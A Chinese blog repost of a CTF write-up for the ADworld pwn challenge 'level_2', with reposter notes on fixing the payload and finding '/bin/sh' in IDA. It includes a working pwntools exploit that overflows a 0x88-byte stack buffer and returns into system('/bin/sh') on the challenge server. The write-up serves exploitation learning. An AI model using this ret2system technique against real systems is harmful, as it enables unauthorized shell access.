ADworld_level_2

2023-11-06

以下是adworld里endust师傅的wp
————————————————————————————————
checksec扫描
在这里插入图片描述

使用ida打开可以发现,初始的buf的空间只有0x88,但是读取我们输入的内容的时候,选择的大小却是0x100,造成了溢出
在这里插入图片描述
通过这些,我们直接构建exp

from pwn import *
a = remote('111.198.29.45',36253)
##system函数的地址
sysaddr = 0x08048320
##程序中/bin/sh字符串所在的地址
binshaddr = 0x0804A024
##0x88是程序中缓冲区的大小,4个大小是需要覆盖的ebp的地址,之后是
##函数的返回地址,被system的地址覆盖了,进入到system函数之后,
##需要构造system函数的栈帧,因为ebp+8是形参的地址,所以需要四个
##字节的填充p32(0),后面放的是system里面的参数的地址。这样子溢出
##之后就会获得shell
payload = 'a'*0x88+'b'*4+p32(sysaddr)+p32(0)+p32(binshaddr)
a.send(payload)
a.interactive()

——————
搬运工注1:如果去adworld上买了这个wp的师傅直接用exp出了问题,是因为原作者的payload再b4后面多加了一个8,去掉就没问题了
注2:经过试验,p32似乎也需要转码,否则也会出现error

这个脚本可以获取控制权,ls一下可以看到flag就在目录里面
————————————————————————————————
*菜鸡的笔记
补两张图:
1,_system函数(注意,不是system函数,感谢另外一位师傅iyzyi的wp,注明了这一点)
在这里插入图片描述
——

这里system里面是command,也就是说只要有参数,就可以执行

在这里插入图片描述

2,/bin/sh
在这里插入图片描述
找到了/bin/sh(怎么找到的我也不知道,研究出来的方法会放在后面),在payload里面连续相加,就相当于system(“/bin/sh”)

——————
寻找bin:ida搜索功能的快捷键是alt+T

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

ADworld_level_2 的相关文章

  • ctf中pwn题目总结

    pwntools工具使用 1 安装 pip install pwntools xff08 python2 xff09 pip3 install pwntools xff08 python3 xff09 2 使用 Context设置 cont
  • 记一次PWN机(Vmware和Docker+VNC)的搭建

    基于Vmware搭建虚拟机 学长已经提供了镜像 xff0c 在Vmware界面打开那个镜像 xff0c 开机即可 Vmware和镜像下载地址 xff1a 链接 xff1a https pan quark cn s 057a23e631f5
  • pwnable.tw - orw

    简单概览 与 start 不同 该程序使用动态链接 提示仅允许有限的系统调用 open read write 函数 程序运行 哪怕是输入一个字母 程序仍然会出现段错误 检查安全措施 可见栈上开了 CANARY 程序 在 IDA 中反编译可见
  • 汇编语言(王爽)第四版学习1

    第一章 机器语言 0 1 简单语句 mov ax bx 汇编语言组成 1 汇编指令 机器码的助记符 有对应的机器码 2 伪指令 没有对应的机器码 由编译器执行 计算机并不执行 3 其他符号 如 等 由编译器识别 没有对应的机器码 存储器 内
  • 2021第十四届全国大学生信息安全竞赛WP(CISCN)-- pwn部分

    CISCN 2021 WP 概述 ciscn 2021 lonelywolf ciscn 2021 pwny 第一种利用方式 第二种利用方式 ciscn 2021 silverwolf ciscn 2021 game 总结 概述 作为学习不
  • pwn 入门基础

    web狗的pwn生之路 系列文章目录 第一章 pwn 入门基础 第二章 pwn 栈题基础 待更新 文章目录 web狗的pwn生之路 系列文章目录 一 汇编基础 重点 笔记 二 Linux 基础 重点 笔记 三 调用约定 重点 笔记 四 EL
  • 攻防世界 pwn forgot

    下面记录一下我在做攻防世界的pwn练习题中的forgot题目的过程 这个题目现在还是有些疑惑的 首先我们看一下题目的安全机制 然后IDA看一下主函数 int cdecl main size t v0 ebx char v2 32 esp 1
  • xman 厦门邀请赛 pwn1 babystack writeup

    题目描述 这个题目针对现在的我还是有点难度的 花费了我三天的时间 最后发现原因竟是因为字符转化为整型的过程中多加了好多0 分析思路 1 首先查看文件的详细信息 tucker ubuntu xman pwn pwn1 file babysta
  • [OGeek2019]babyrop

    OGeek2019 babyrop 查看程序的保护机制 发现是got表不可写的32位程序 拖进ida查看伪代码 sub 80486BB是初始化缓存区的函数 发现buf是一个随机数 发现函数中存在strncmp比较函数 其中buf为用户输入的
  • 1.pwn基础总结

    基本概念 exploit 用于攻击的脚本与方案 通常缩写为exp payload 攻击载荷 是的目标进程被劫持控制流的数据 shellcode 调用攻击目标的shell的代码 打开目标的shell 获取目标控制权 pwn解题基本流程 che
  • pwn手记录题2

    fastbin reverse into tcache 2 34 本题所使用的libc版本为2 34 最新版 libc2 34版本已经没有了所谓的hook函数 甚至exit hook 实际为某个函数指针 也已经不能够使用 能够利用的手法已经
  • 栈溢出学习

    前言 跟着ctfwiki学习 所有题目都在ctfwiki上可以找到 加油加油 栈溢出原理 栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数 因而导致与其相邻的栈中的变量的值被改变 看一个简单的程序 include
  • 用gdb.attach()在gdb下断点但没停下的情况及解决办法

    在python中 如果导入了pwntools 就可以使用里面的gdb attach io 的命令来下断点 但是这一次鼠鼠遇到了一个情况就是下了断点 但是仍然无法在断点处开始运行 奇奇怪怪 这是我的攻击脚本 我们运行一下 可以看到其实已经运行
  • 安卓pwn - De1taCTF(BroadcastTest)

    BroadcastTest 背景 逆向APK可知程序中仅有MainActivity Message和三个Receiver类 前者实现了一个Parcelable类 后三个则是广播 其中Receiver1是exported的 接收并向Recei
  • 再探ROP(下)

    文章目录 0x01 概述 0x02 ret2reg 2 1 起因 2 2 原理 0x03 brop详解 3 1 概述 3 2 逆向思维切入 1 搭建环境 2 溢出长度和爆破canary 3 如何getshell 4 寻找直接条件 5 寻找间
  • pwnable.tw - start

    首先安装 pwntools 在执行pip install upgrade pwntools时出错 cannot import name main 要修改 usr bin pip from pip import main 为 from pip
  • BUUCTF-PWN-Writeup-1-5

    前言 开始刷一刷Buuctf的PWN题 一边学一边刷题了 其实主要是堆学的顶不住了 一个下午才搞懂一个知识点 太tm的难了 test your nc from pwn import from LibcSearcher import cont
  • 二进制安全虚拟机Protostar靶场 安装,基础知识讲解,破解STACK ZERO

    简介 pwn是ctf比赛的方向之一 也是门槛最高的 学pwn前需要很多知识 这里建议先去在某宝上买一本汇编语言第四版 看完之后学一下python和c语言 python推荐看油管FreeCodeCamp的教程 c语言也是 pwn题目大部分是破
  • pwn入门:基本栈溢出之ret2libc详解(以32位+64位程序为例)

    目录 写在开头 题目简介 解题思路 前置知识 简要了解 plt表和got表 延迟绑定 例题详解 32位 64位 总结与思考 写在开头 这篇博客早就想写了 但由于近期事情较多 一直懒得动笔 近期被领导派去临时给合作单位当讲师 要给零基础的学员
  • 2.[BUU]rip

    1 检查文件 checksec 一下 查看之后发现是64位 直接放入IDA64进行反编译 2 IDA反编译 进行分析 发现是gets 函数可以造成栈溢出 从而可以覆盖栈上的内容 想法 通过gets函数 栈溢出 来篡改栈上的内容指令 从而达到

随机推荐

  • spring获取DataSource数据源从Tomcat中配置的数据源获取方法--jndi方式

    1 配置目的 公司数据库提供内网与外网访问数据库 在家与公司都可以访问 这就需要分情况配置数据源信息 公司项目统一在tomcat中配置数据源信息 不同环境只需要更改tomcat数据源配置信息 不需要对项目配置信息进行修改 方便灵活 2 对于
  • uniapp 中使用 vue vite

    import defineConfig from vite import uni from dcloudio vite plugin uni export default defineConfig plugins uni server po
  • python requirements.txt的生成与使用

    项目开发过程中难免少不了三方库的各种安装 python对这个场景做了一个特别的三方包安装list 一般都叫做requirements txt 如果项目中使用了 virtualenv 环境 直接通过pip freeze 就可以解决 如果没有的
  • 测试开发必备10大技能,你达标了吗?

    一个人到底要走多少弯路 才能成为一名合格的测试开发工程师 近年来 随着敏捷开发 微服务架构 DevOps逐渐深入人心 软件行业发生了翻天覆地的变化 相应地 软件测试行业也洗牌加剧 软件测试的准入门槛 也从以前的是个人就行 逐渐变成了 科班出
  • 升级OpenSSH

    升级OpenSSH 安装工具包 yum install y gcc gcc c openssl devel zlib devel zlib dev openssl devel pam devel 备份旧的ssh文件 mkdir p back
  • 多进程IterableDataset流式读取数据的坑:每个进程会读取一遍完整数据

    构建流式读取DataLoader的方法可以参考 pytorch构造可迭代的DataLoader 动态流式读取数据源 不担心内存炸裂 pytorch Data学习三 使用如下方法构造DataLoader 如果num workers设置为N 就
  • kubernetes 1.27.3 集群部署方案

    一 准备环境 1 1 Kubernetes 1 27 3 版本集群部署环境准备 1 1 1 主机硬件配置说明 cpu 内存 硬盘 角色 主机名 系统版本 8C 8G 1024GB master master01 centos 7 9 8C
  • C++STL(5)常用容器介绍(四)list、set、map容器

    1 list 概 述 链表是一种物理存储单元上非连续 非顺序的存储结构 数据元素的逻辑顺序是通过链表中的指针链接次序实现的 链表由一系列结点 链表中每一个元素称为结点 组成 结点可以在运行时动态生成 每个结点包括两个部分 一个是存储数据元素
  • jenkins学习笔记第二篇全局工具配置与结点配置

    1 1jenkins 全局工具配置 maven配置 JDK配置 Ant配置 本地安装的有ANt1 9 配置ANt可以实现后面的 jmeter Ant的自动化接口测试 生成自动化测试报告 Git配置 在配置结点时 先配置全局安全性 Confi
  • php 请求chatgpt3.5 非stream流输出模式代码用于批量发布文章

    以下是模板兔用php写的请求chatgpt3 5 非流输出模式 不是打字特效 的代码示例 这种非流模式一般用于批量生产文章 通过chatgpt你可以大量生产伪原创文章 提供网站收录 近期我们会增加一个wordpress通过GPT批量发布文章
  • 一零六九、MySQL回顾总结

    索引下推 在联合查询的过程中 根据联合索引包含字段直接过滤掉不满足的记录 减少回表次数 能用索引就用索引 覆盖索引 查询字段包含了索引的全部字段聚集索引 将常用的字段作为主键或聚集索引 undolog redolog binlog的区别和联
  • sd和sem啥区别_Mean ± SEM or Mean(SD) 区别

    1 The common descriptive statistics is mean and standard deviation SD SD 平均值和标准偏差 Data not following the normal distribu
  • linux上如何删除文件名乱码的文件

    今天在服务上发现了两个文件名是乱码的文件 如图所示 于是想用rm命令把它们删掉 但提示没有此文件 网上搜了一下 找到解决方法 首先执行ls i命令 此时在文件前面会出现一个数字 这个数字是文件的节点号 接着 执行命令 find inum 节
  • 关于质量,大家都在关注什么?

    转自 ThoughtWorks中国 去年 我们在 数字化时代的软件测试 中看到了2017年软件质量方面的趋势和给测试人员的建议 又一年过去了 大家对软件质量保障和测试的关注有哪些变化呢 我们一起来看看这份质量报告 World Quality
  • minio中的安装启动地址问题

    安装 把包扔进去 赋予权限 chmod x minio 创建一个data目录 address和 console address是MinIO服务器启动命令中的两个参数 它们具有以下区别 address参数 用于指定MinIO服务器监听的S3
  • [转] 新手学Linux:在VMware14中安装CentOS7详细教程及经验

    转自 https blog csdn net yiyihuazi article details 78557216 这里说下自己遇到一个坑 1 如果在公司内部 虚拟机上网可能 需要设置代理 方法如下 在文件后面加上 http proxy h
  • graphics.h图形库:基本概念(2)——坐标

    文章目录 1 物理坐标 2 逻辑坐标 在 EasyX 中 坐标分两种 物理坐标和逻辑坐标 1 物理坐标 物理坐标是描述设备的坐标体系 坐标原点在设备的左上角 X 轴向右为正 Y 轴向下为正 度量单位是像素 坐标原点 坐标轴方向 缩放比例都不
  • java中讲讲FileWriter的用法

    java中讲讲FileWriter的用法 FileWriter的用法 马克 to win 马克 java社区 防盗版实名手机尾号 73203 FileWriter是Writer的继承类 从字面上就可看出 它的主要功能就是能向磁盘上写文件 w
  • 鬼泣4refrain 《鬼泣4 refrain》图文全攻略(iphone版)

    本篇文章由 泉州SEO www 234yp com 整理发布 转载请注明原文地址 www 234yp com Article 147467 html 谢谢合作 鬼泣4refrain 您可能感兴趣的话题 鬼泣4 核心提示 鬼泣4 是 鬼泣 系
  • ADworld_level_2

    以下是adworld里endust师傅的wp checksec扫描 使用ida打开可以发现 初始的buf的空间只有0x88 但是读取我们输入的内容的时候 选择的大小却是0x100 造成了溢出 通过这些 我们直接构建exp from pwn